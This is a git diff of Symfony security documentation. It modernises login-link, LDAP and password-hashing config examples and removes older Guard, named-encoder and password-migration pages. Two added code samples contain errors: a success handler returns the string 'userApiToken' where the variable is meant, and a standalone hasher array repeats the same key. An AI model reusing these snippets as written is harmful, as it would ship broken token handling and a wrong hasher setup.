+                    ->queryString('(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))')
+                    ->searchDn('...')
+                    ->searchPassword('the-raw-password')
+            ;
+        };
 
 .. _`LDAP PHP extension`: https://www.php.net/manual/en/intro.ldap.php
 .. _`RFC4515`: http://www.faqs.org/rfcs/rfc4515.html
 .. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection
+
diff --git a/security/login_link.rst b/security/login_link.rst
index b92dd694178..86406f9b316 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -14,10 +14,12 @@ This authentication method can help you eliminate most of the customer support
 related to authentication (e.g. I forgot my password, how can I change or reset
 my password, etc.)
 
-Login links are supported by Symfony when using the experimental
-authenticator system. You must
-:ref:`enable the authenticator system <security-enable-authenticator-manager>`
-in your configuration to use this feature.
+.. note::
+
+    Login links are only supported by Symfony when using the
+    :doc:`authenticator system </security>`. Before using this
+    authenticator, make sure you have enabled it with
+    ``enable_authenticator_manager: true`` in your ``security.yaml`` file.
 
 Using the Login Link Authenticator
 ----------------------------------
@@ -67,15 +69,14 @@ under the firewall. You must configure a ``check_route`` and
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+            ;
+        };
 
 The ``signature_properties`` are used to create a signed URL. This must
 contain at least one property of your ``User`` object that uniquely
@@ -107,6 +108,23 @@ intercept requests to this route:
                 throw new \LogicException('This code should never be reached');
             }
         }
+        
+    .. code-block:: php-attributes
+    
+        // src/Controller/SecurityController.php
+        namespace App\Controller;
+
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\Routing\Annotation\Route;
+
+        class SecurityController extends AbstractController
+        {
+            #[Route('/login_check', name: 'login_check')]
+            public function check()
+            {
+                throw new \LogicException('This code should never be reached');
+            }
+        }
 
     .. code-block:: yaml
 
@@ -373,17 +391,16 @@ seconds). You can customize this using the ``lifetime`` option:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        // lifetime in seconds
-                        'lifetime' => 300,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    // lifetime in seconds
+                    ->lifetime(300)
+            ;
+        };
 
 .. _security-login-link-signature:
 
@@ -401,7 +418,7 @@ The signed URL contains 3 parameters:
     The UNIX timestamp when the link expires.
 
 ``user``
-    The value returned from ``$user->getUsername()`` for this user.
+    The value returned from ``$user->getUserIdentifier()`` for this user.
 
 ``hash``
     A hash of ``expires``, ``user`` and any configured signature
@@ -448,16 +465,15 @@ You can add more properties to the ``hash`` by using the
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        'signature_properties' => ['id', 'email'],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    ->signatureProperties(['id', 'email'])
+            ;
+        };
 
 The properties are fetched from the user object using the
 :doc:`PropertyAccess component </components/property_access>` (e.g. using
@@ -521,20 +537,20 @@ cache. Enable this support by setting the ``max_uses`` option:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        // only allow the link to be used 3 times
-                        'max_uses' => 3,
-
-                        // optionally, configure the cache pool
-                        //'used_link_cache' => 'cache.redis',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+
+                    // only allow the link to be used 3 times
+                    ->maxUses(3)
+
+                    // optionally, configure the cache pool
+                    //->usedLinkCache('cache.redis')
+            ;
+        };
 
 Make sure there is enough space left in the cache, otherwise invalid links
 can no longer be stored (and thus become valid again). Expired invalid
@@ -594,17 +610,16 @@ the authenticator only handle HTTP POST methods:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'login_link' => [
-                        'check_route' => 'login_check',
-                        'check_post_only' => true,
-                        'max_uses' => 1,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    ->checkPostOnly(true)
+                    ->maxUses(1)
+            ;
+        };
 
 Then, use the ``check_route`` controller to render a page that lets the
 user create this POST request (e.g. by clicking a button)::
@@ -654,3 +669,138 @@ user create this POST request (e.g. by clicking a button)::
             <button type="submit">Continue</button>
         </form>
     {% endblock %}
+
+Customizing the Success Handler
+-------------------------------
+
+Sometimes, the default success handling does not fit your use-case (e.g.
+when you need to generate and return an API key). To customize how the
+success handler behaves, create your own handler as a class that implements
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`::
+
+    // src/Security/Authentication/AuthenticationSuccessHandler.php
+    namespace App\Security\Authentication;
+
+    use Symfony\Component\HttpFoundation\JsonResponse;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface;
+
+    class AuthenticationSuccessHandler implements AuthenticationSuccessHandlerInterface
+    {
+        public function onAuthenticationSuccess(Request $request, TokenInterface $token): JsonResponse
+        {
+            $user = $token->getUser();
+            $userApiToken = $user->getApiToken();
+
+            return new JsonResponse(['apiToken' => 'userApiToken']);
+        }
+    }
+
+Then, configure this service ID as the ``success_handler``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    login_link:
+                        check_route: login_check
+                        lifetime: 600
+                        max_uses: 1
+                        success_handler: App\Security\Authentication\AuthenticationSuccessHandler
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <login-link check-route="login_check"
+                        check-post-only="true"
+                        max-uses="1"
+                        lifetime="600"
+                        success-handler="App\Security\Authentication\AuthenticationSuccessHandler"
+                    />
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\Authentication\AuthenticationSuccessHandler;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->loginLink()
+                    ->checkRoute('login_check')
+                    ->lifetime(600)
+                    ->maxUses(1)
+                    ->successHandler(AuthenticationSuccessHandler::class)
+            ;
+        };
+
+.. tip::
+
+    If you want to customize the default failure handling, use the
+    ``failure_handler`` option and create a class that implements
+    :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.
+
+Customizing the Login Link
+--------------------------
+
+.. versionadded:: 5.3
+
+    The possibility to customize the login link was introduced in Symfony 5.3.
+
+The ``createLoginLink()`` method accepts a second optional argument to pass the
+``Request`` object used when generating the login link. This allows to customize
+features such as the locale used to generate the link::
+
+    // src/Controller/SecurityController.php
+    namespace App\Controller;
+
+    // ...
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\Security\Http\LoginLink\LoginLinkHandlerInterface;
+
+    class SecurityController extends AbstractController
+    {
+        /**
+         * @Route("/login", name="login")
+         */
+        public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, Request $request)
+        {
+            // check if login form is submitted
+            if ($request->isMethod('POST')) {
+                // ... load the user in some way
+
+                // clone and customize Request
+                $userRequest = clone $request;
+                $userRequest->setLocale($user->getLocale() ?? $request->getDefaultLocale());
+
+                // create a login link for $user (this returns an instance of LoginLinkDetails)
+                $loginLinkDetails = $loginLinkHandler->createLoginLink($user, $userRequest);
+                $loginLink = $loginLinkDetails->getUrl();
+
+                // ...
+            }
+
+            return $this->render('security/login.html.twig');
+        }
+
+        // ...
+    }
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
deleted file mode 100644
index b6ea9ca5f11..00000000000
--- a/security/multiple_guard_authenticators.rst
+++ /dev/null
@@ -1,181 +0,0 @@
-How to Use Multiple Guard Authenticators
-========================================
-
-The Guard authentication component allows you to use many different
-authenticators at a time.
-
-An entry point is a service id (of one of your authenticators) whose
-``start()`` method is called to start the authentication process.
-
-Multiple Authenticators with Shared Entry Point
------------------------------------------------
-
-Sometimes you want to offer your users different authentication mechanisms like
-a form login and a Facebook login while both entry points redirect the user to
-the same login page.
-However, in your configuration you have to explicitly say which entry point
-you want to use.
-
-This is how your security configuration can look in action:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            firewalls:
-                default:
-                    anonymous: true
-                    lazy: true
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-                            - App\Security\FacebookConnectAuthenticator
-                        entry_point: App\Security\LoginFormAuthenticator
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="default" anonymous="true" lazy="true">
-                    <guard entry-point="App\Security\LoginFormAuthenticator">
-                        <authenticator>App\Security\LoginFormAuthenticator</authenticator>
-                        <authenticator>App\Security\FacebookConnectAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\FacebookConnectAuthenticator;
-        use App\Security\LoginFormAuthenticator;
-
-        $container->loadFromExtension('security', [
-            // ...
-            'firewalls' => [
-                'default' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'guard' => [
-                        'entry_point' => LoginFormAuthenticator::class,
-                        'authenticators' => [
-                            LoginFormAuthenticator::class,
-                            FacebookConnectAuthenticator::class,
-                        ],
-                    ],
-                ],
-            ],
-        ]);
-
-There is one limitation with this approach - you have to use exactly one entry point.
-
-Multiple Authenticators with Separate Entry Points
---------------------------------------------------
-
-However, there are use cases where you have authenticators that protect different
-parts of your application. For example, you have a login form that protects
-the secured area of your application front-end and API end points that are
-protected with API tokens. As you can only configure one entry point per firewall,
-the solution is to split the configuration into two separate firewalls:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            firewalls:
-                api:
-                    pattern: ^/api/
-                    guard:
-                        authenticators:
-                            - App\Security\ApiTokenAuthenticator
-                default:
-                    anonymous: true
-                    lazy: true
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-            access_control:
-                - { path: '^/login', roles: IS_AUTHENTICATED_ANONYMOUSLY }
-                - { path: '^/api', roles: ROLE_API_USER }
-                - { path: '^/', roles: ROLE_USER }
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="api" pattern="^/api/">
-                    <guard>
-                        <authenticator>App\Security\ApiTokenAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-                <firewall name="default" anonymous="true" lazy="true">
-                    <guard>
-                        <authenticator>App\Security\LoginFormAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-                <rule path="^/login" role="IS_AUTHENTICATED_ANONYMOUSLY"/>
-                <rule path="^/api" role="ROLE_API_USER"/>
-                <rule path="^/" role="ROLE_USER"/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\ApiTokenAuthenticator;
-        use App\Security\LoginFormAuthenticator;
-
-        $container->loadFromExtension('security', [
-            // ...
-            'firewalls' => [
-                'api' => [
-                    'pattern' => '^/api',
-                    'guard' => [
-                        'authenticators' => [
-                            ApiTokenAuthenticator::class,
-                        ],
-                    ],
-                ],
-                'default' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'guard' => [
-                        'authenticators' => [
-                            LoginFormAuthenticator::class,
-                        ],
-                    ],
-                ],
-            ],
-            'access_control' => [
-                ['path' => '^/login', 'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY'],
-                ['path' => '^/api', 'roles' => 'ROLE_API_USER'],
-                ['path' => '^/', 'roles' => 'ROLE_USER'],
-            ],
-        ]);
diff --git a/security/named_encoders.rst b/security/named_encoders.rst
deleted file mode 100644
index 29ca8c278d7..00000000000
--- a/security/named_encoders.rst
+++ /dev/null
@@ -1,195 +0,0 @@
-.. index::
-    single: Security; Named Encoders
-
-How to Use A Different Password Encoder Algorithm Per User
-==========================================================
-
-Usually, the same password encoder is used for all users by configuring it
-to apply to all instances of a specific class:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            encoders:
-                App\Entity\User:
-                    algorithm: auto
-                    cost: 12
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-            <config>
-                <!-- ... -->
-                <encoder class="App\Entity\User"
-                    algorithm="auto"
-                    cost=12
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-
-        $container->loadFromExtension('security', [
-            // ...
-            'encoders' => [
-                User::class => [
-                    'algorithm' => 'auto',
-                    'cost' => 12,
-                ],
-            ],
-        ]);
-
-Another option is to use a "named" encoder and then select which encoder
-you want to use dynamically.
-
-In the previous example, you've set the ``auto`` algorithm for ``App\Entity\User``.
-This may be secure enough for a regular user, but what if you want your admins
-to have a stronger algorithm, for example ``auto`` with a higher cost. This can
-be done with named encoders:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            encoders:
-                harsh:
-                    algorithm: auto
-                    cost: 15
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-
-            <config>
-                <!-- ... -->
-                <encoder class="harsh"
-                    algorithm="auto"
-                    cost="15"/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-            'encoders' => [
-                'harsh' => [
-                    'algorithm' => 'auto',
-                    'cost'      => '15',
-                ],
-            ],
-        ]);
-
-.. note::
-
-    If you are running PHP 7.2+ or have the `libsodium`_ extension installed,
-    then the recommended hashing algorithm to use is
-    :ref:`Sodium <reference-security-sodium>`.
-
-This creates an encoder named ``harsh``. In order for a ``User`` instance
-to use it, the class must implement
-:class:`Symfony\\Component\\Security\\Core\\Encoder\\EncoderAwareInterface`.
-The interface requires one method - ``getEncoderName()`` - which should return
-the name of the encoder to use::
-
-    // src/Entity/User.php
-    namespace App\Entity;
-
-    use Symfony\Component\Security\Core\Encoder\EncoderAwareInterface;
-    use Symfony\Component\Security\Core\User\UserInterface;
-
-    class User implements UserInterface, EncoderAwareInterface
-    {
-        public function getEncoderName()
-        {
-            if ($this->isAdmin()) {
-                return 'harsh';
-            }
-
-            return null; // use the default encoder
-        }
-    }
-
-If you created your own password encoder implementing the
-:class:`Symfony\\Component\\Security\\Core\\Encoder\\PasswordEncoderInterface`,
-you must register a service for it in order to use it as a named encoder:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            encoders:
-                app_encoder:
-                    id: 'App\Security\Encoder\MyCustomPasswordEncoder'
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-
-            <config>
-                <!-- ... -->
-                <encoder class="app_encoder"
-                    id="App\Security\Encoder\MyCustomPasswordEncoder"/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        // ...
-        use App\Security\Encoder\MyCustomPasswordEncoder;
-
-        $container->loadFromExtension('security', [
-            // ...
-            'encoders' => [
-                'app_encoder' => [
-                    'id' => MyCustomPasswordEncoder::class,
-                ],
-            ],
-        ]);
-
-This creates an encoder named ``app_encoder`` from a service with the ID
-``App\Security\Encoder\MyCustomPasswordEncoder``.
-
-.. _`libsodium`: https://pecl.php.net/package/libsodium
diff --git a/security/password_migration.rst b/security/password_migration.rst
deleted file mode 100644
index 2bdd6c83b95..00000000000
--- a/security/password_migration.rst
+++ /dev/null
@@ -1,248 +0,0 @@
-.. index::
-    single: Security; How to Migrate a Password Hash
-
-How to Migrate a Password Hash
-==============================
-
-In order to protect passwords, it is recommended to store them using the latest
-hash algorithms. This means that if a better hash algorithm is supported on your
-system, the user's password should be *rehashed* using the newer algorithm and
-stored. That's possible with the ``migrate_from`` option:
-
-#. `Configure a new Encoder Using "migrate_from"`_
-#. `Upgrade the Password`_
-#. Optionally, `Trigger Password Migration From a Custom Encoder`_
-
-Configure a new Encoder Using "migrate_from"
-----------------------------------------------
-
-When a better hashing algorithm becomes available, you should keep the existing
-encoder(s), rename it, and then define the new one. Set the ``migrate_from`` option
-on the new encoder to point to the old, legacy encoder(s):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            encoders:
-                # an encoder used in the past for some users
-                legacy:
-                    algorithm: sha256
-                    encode_as_base64: false
-                    iterations: 1
-
-                App\Entity\User:
-                    # the new encoder, along with its options
-                    algorithm: sodium
-                    migrate_from:
-                        - bcrypt # uses the "bcrypt" encoder with the default options
-                        - legacy # uses the "legacy" encoder configured above
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:security="http://symfony.com/schema/dic/security"
-            xsi:schemaLocation="http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <security:config>
-                <!-- ... -->
-
-                <security:encoder class="legacy"
-                    algorithm="sha256"
-                    encode-as-base64="false"
-                    iterations="1"
-                />
-
-                <!-- algorithm: the new encoder, along with its options -->
-                <security:encoder class="App\Entity\User"
-                    algorithm="sodium"
-                >
-                    <!-- uses the bcrypt encoder with the default options -->
-                    <security:migrate-from>bcrypt</security:migrate-from>
-
-                    <!-- uses the legacy encoder configured above -->
-                    <security:migrate-from>legacy</security:migrate-from>
-                </security:encoder>
-            </security:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'encoders' => [
-                'legacy' => [
-                    'algorithm' => 'sha256',
-                    'encode_as_base64' => false,
-                    'iterations' => 1,
-                ],
-
-                'App\Entity\User' => [
-                    // the new encoder, along with its options
-                    'algorithm' => 'sodium',
-                    'migrate_from' => [
-                        'bcrypt', // uses the "bcrypt" encoder with the default options
-                        'legacy', // uses the "legacy" encoder configured above
-                    ],
-                ],
-            ],
-        ]);
-
-With this setup:
-
-* New users will be encoded with the new algorithm;
-* Whenever a user logs in whose password is still stored using the old algorithm,
-  Symfony will verify the password with the old algorithm and then rehash
-  and update the password using the new algorithm.
-
-.. tip::
-
-    The *auto*, *native*, *bcrypt* and *argon* encoders automatically enable
-    password migration using the following list of ``migrate_from`` algorithms:
-
-    #. :ref:`PBKDF2 <reference-security-pbkdf2>` (which uses :phpfunction:`hash_pbkdf2`);
-    #. Message digest (which uses :phpfunction:`hash`)
-
-    Both use the ``hash_algorithm`` setting as the algorithm. It is recommended to
-    use ``migrate_from`` instead of ``hash_algorithm``, unless the *auto*
-    encoder is used.
-
-Upgrade the Password
---------------------
-
-Upon successful login, the Security system checks whether a better algorithm
-is available to hash the user's password. If it is, it'll hash the correct
-password using the new hash. If you use a Guard authenticator, you first need to
-:ref:`provide the original password to the Security system <provide-the-password-guard>`.
-
-You can enable the upgrade behavior by implementing how this newly hashed
-password should be stored:
-
-* :ref:`When using Doctrine's entity user provider <upgrade-the-password-doctrine>`
-* :ref:`When using a custom user provider <upgrade-the-password-custom-provider>`
-
-After this, you're done and passwords are always hashed as secure as possible!
-
-.. _provide-the-password-guard:
-
-Provide the Password when using Guard
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When you're using a custom :doc:`guard authenticator </security/guard_authentication>`,
-you need to implement :class:`Symfony\\Component\\Security\\Guard\\PasswordAuthenticatedInterface`.
-This interface defines a ``getPassword()`` method that returns the password
-for this login request. This password is used in the migration process::
-
-    // src/Security/CustomAuthenticator.php
-    namespace App\Security;
-
-    use Symfony\Component\Security\Guard\PasswordAuthenticatedInterface;
-    // ...
-
-    class CustomAuthenticator extends AbstractGuardAuthenticator implements PasswordAuthenticatedInterface
-    {
-        // ...
-
-        public function getPassword($credentials): ?string
-        {
-            return $credentials['password'];
-        }
-    }
-
-.. _upgrade-the-password-doctrine:
-
-Upgrade the Password when using Doctrine
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When using the :ref:`entity user provider <security-entity-user-provider>`, implement
-:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
-the ``UserRepository`` (see `the Doctrine docs for information`_ on how to
-create this class if it's not already created). This interface implements
-storing the newly created password hash::
-
-    // src/Repository/UserRepository.php
-    namespace App\Repository;
-
-    // ...
-    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
-
-    class UserRepository extends EntityRepository implements PasswordUpgraderInterface
-    {
-        // ...
-
-        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
-        {
-            // set the new encoded password on the User object
-            $user->setPassword($newEncodedPassword);
-
-            // execute the queries on the database
-            $this->getEntityManager()->flush();
-        }
-    }
-
-.. _upgrade-the-password-custom-provider:
-
-Upgrade the Password when using a Custom User Provider
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If you're using a :ref:`custom user provider <custom-user-provider>`, implement the
-:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
-the user provider::
-
-    // src/Security/UserProvider.php
-    namespace App\Security;
-
-    // ...
-    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
-
-    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
-    {
-        // ...
-
-        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
-        {
-            // set the new encoded password on the User object
-            $user->setPassword($newEncodedPassword);
-
-            // ... store the new password
-        }
-    }
-
-Trigger Password Migration From a Custom Encoder
-------------------------------------------------
-
-If you're using a custom password encoder, you can trigger the password
-migration by returning ``true`` in the ``needsRehash()`` method::
-
-    // src/Security/CustomPasswordEncoder.php
-    namespace App\Security;
-
-    // ...
-    use Symfony\Component\Security\Core\Encoder\PasswordEncoderInterface;
-
-    class CustomPasswordEncoder implements PasswordEncoderInterface
-    {
-        // ...
-
-        public function needsRehash(string $encoded): bool
-        {
-            // check whether the current password is hash using an outdated encoder
-            $hashIsOutdated = ...;
-
-            return $hashIsOutdated;
-        }
-    }
-
-.. _`the Doctrine docs for information`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-objects.html#custom-repositories
diff --git a/security/passwords.rst b/security/passwords.rst
new file mode 100644
index 00000000000..521be799277
--- /dev/null
+++ b/security/passwords.rst
@@ -0,0 +1,782 @@
+Password Hashing and Verification
+=================================
+
+Most applications use passwords to login users. These passwords should be
+hashed to securely store them. Symfony's PasswordHasher component provides
+all utilities to safely hash and verify passwords.
+
+Make sure it is installed by running:
+
+.. code-block:: terminal
+
+   $ composer require symfony/password-hasher
+
+.. versionadded:: 5.3
+
+   The PasswordHasher component was introduced in 5.3. Prior to this
+   version, password hashing functionality was provided by the Security
+   component.
+
+Configuring a Password Hasher
+-----------------------------
+
+Before hashing passwords, you must configure a hasher using the
+``password_hashers`` option. You must configure the *hashing algorithm* and
+optionally some *algorithm options*:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            password_hashers:
+                # auto hasher with default options for the User class (and children)
+                App\Entity\User: 'auto'
+
+                # auto hasher with custom options for all PasswordAuthenticatedUserInterface instances
+                Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface:
+                    algorithm: 'auto'
+                    cost:      15
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <!-- auto hasher with default options for the User class (and children) -->
+                <security:password-hasher
+                    class="App\Entity\User"
+                    algorithm="auto"
+                />
+
+                <!-- auto hasher with custom options for all PasswordAuthenticatedUserInterface instances -->
+                <security:password-hasher
+                    class="Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface"
+                    algorithm="auto"
+                    cost="15"
+                />
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+        use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+
+            // auto hasher with default options for the User class (and children)
+            $security->passwordHasher(User::class)
+                ->algorithm('auto');
+
+            // auto hasher with custom options for all PasswordAuthenticatedUserInterface instances
+            $security->passwordHasher(PasswordAuthenticatedUserInterface::class)
+                ->algorithm('auto')
+                ->cost(15);
+        };
+
+    .. code-block:: php-standalone
+
+        use App\Entity\User;
+        use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
+        use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+
+        $passwordHasherFactory = new PasswordHasherFactory([
+            // auto hasher with default options for the User class (and children)
+            User::class => ['algorithm' => 'auto'],
+
+            // auto hasher with custom options for all PasswordAuthenticatedUserInterface instances
+            User::class => [
+                'algorithm' => 'auto',
+                'cost' => 15,
+            ],
+        ]);
+
+.. versionadded:: 5.3
+
+    The ``password_hashers`` option was introduced in Symfony 5.3. In previous
+    versions it was called ``encoders``.
+
+In this example, the "auto" algorithm is used. This hasher automatically
+selects the most secure algorithm available on your system. Combined with
+:ref:`password migration <security-password-migration>`, this allows you to
+always secure passwords in the safest way possible (even when new
+algorithms are introduced in future PHP releases).
+
+Further in this article, you can find a
+:ref:`full reference of all supported algorithms <passwordhasher-supported-algorithms>`.
+
+.. tip::
+
+    Hashing passwords is resource intensive and takes time in order to
